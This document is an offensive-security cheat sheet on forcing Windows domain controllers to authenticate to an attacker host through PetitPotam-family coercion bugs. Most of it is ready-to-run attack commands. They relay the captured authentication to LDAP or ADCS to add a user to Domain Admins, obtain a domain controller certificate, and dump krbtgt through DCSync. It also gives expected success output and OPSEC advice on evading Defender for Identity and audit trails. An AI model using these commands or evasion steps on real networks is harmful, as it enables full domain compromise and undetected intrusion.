ad-coercer

# Authentication Coercion (PetitPotam family) Force a Windows machine — usually a Domain Controller — to send an NTLM authentication to an attacker-controlled host. Then either relay the auth (via `ntlmrelayx`) or crack it offline. ## The family of coercion vulnerabilities | Vector | Protocol | RPC | Mitigated by | |---|---|---|---| | **PetitPotam** | MS-EFSR (Encrypting File System Remote) | `EfsRpcOpenFileRaw` | KB5005413 (Aug 2021) — partial; bypasses persist via other Efs* methods | | **PrinterBug** | MS-RPRN (Print System Remote) | `RpcRemoteFindFirstPrinterChangeNotificationEx` | Disable Print Spooler | | **DFSCoerce** | MS-DFSNM (Distributed File System) | `NetrDfsGetVersion`, `NetrDfsRemoveStdRoot` | Restrict DFSN to admins | | **ShadowCoerce** | MS-FSRVP (File Server Remote VSS) | `IsPathSupported` | KB5015527 (Jul 2022) | | **CheeseOunce / WebDavCoerce** | WebDAV WebClient | (various) | Disable WebClient service | All four boil down to: an unauthenticated/low-priv RPC call that triggers the target to authenticate outbound. ## Workflow ### 1. Set up the listener (attacker) ```bash # Option A: ntlmrelayx (relay auth to a useful service) sudo impacket-ntlmrelayx -t ldap://dc.target.local --escalate-user lowpriv -smb2support # OR relay to ADCS for cert-based domain admin: sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \ -smb2support --adcs --template DomainController # Option B: just capture the hash sudo impacket-ntlmrelayx -t ldap://dc.target.local --no-smb-server # OR with responder sudo responder -I eth0 ``` ### 2. Coerce auth from a target machine ```bash # Coercer — meta-tool, tries every vector git clone https://github.com/p0dalirius/Coercer sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u 'low_priv_user' -p 'pass' # or anonymous (often works pre-PetitPotam patch): sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u '' -p '' # Or individual scripts: python3 PetitPotam.py <attacker_ip> <target_ip> python3 dfscoerce.py -u lowpriv -p pass <attacker_ip> <target_ip> python3 printerbug.py target.local/user:pass@<target_ip> <attacker_ip> ``` ### 3. Catch the auth → escalate ``` [ntlmrelayx] SMBD-Thread-X: Received connection from <target_ip>, attacking target ldap://dc.target.local [ntlmrelayx] Authenticating against ldap://dc.target.local as TARGET\DC$ SUCCEED [ntlmrelayx] Adding lowpriv to Domain Admins group: SUCCEED ``` If you relayed to ADCS: ``` [ntlmrelayx] GOT CERTIFICATE! ID 1234 [ntlmrelayx] Base64 certificate of user DC$: MII... ``` Then use that cert with `certipy auth -pfx dc.pfx -username 'dc$' -domain target.local`. ## Why coerce DC$? — The privilege escalation chain The DC's machine account (`DC$`) has `Replicating Directory Changes` permission. With its NTLM hash or TGT, you DCSync and own the domain: ```bash # After getting DC$ cert from ADCS relay: certipy auth -pfx dc.pfx -username 'dc$' -domain target.local # Returns TGT impacket-secretsdump -k -no-pass target.local/dc$@dc.target.local # Dumps krbtgt — full domain compromise ``` ## Targets that work - Any unpatched DC (most environments still have PetitPotam variants) - Any server with Print Spooler running (PrinterBug) - Any Windows server with DFS Namespace (often DCs + file servers) - ADCS Web Enrollment endpoint (relay to it for cert-based DA) ## OPSEC - Coercion attempts log `EFSRPC_*` / `RPRN_*` event sources on the target — usually low-priority but visible in dedicated AD-attack detection (MDI, Defender for Identity). - Inbound NTLM authentication from a DC to a non-domain workstation is a strong signal — relay to a host that legitimately receives auth (a file server, a printer-ish hostname). - Use a coercion vector that DOESN'T require credentials (PetitPotam unauthenticated path, ShadowCoerce) if possible — leaves no user-level audit trace. ## References - topotam77's PetitPotam — github.com/topotam/PetitPotam - p0dalirius's Coercer — github.com/p0dalirius/Coercer - dirkjanm's "Relaying NTLM auth" series - SpecterOps "Coercing AD auth" cheat sheet - ADCS abuse: SpecterOps "Certified Pre-Owned" whitepaper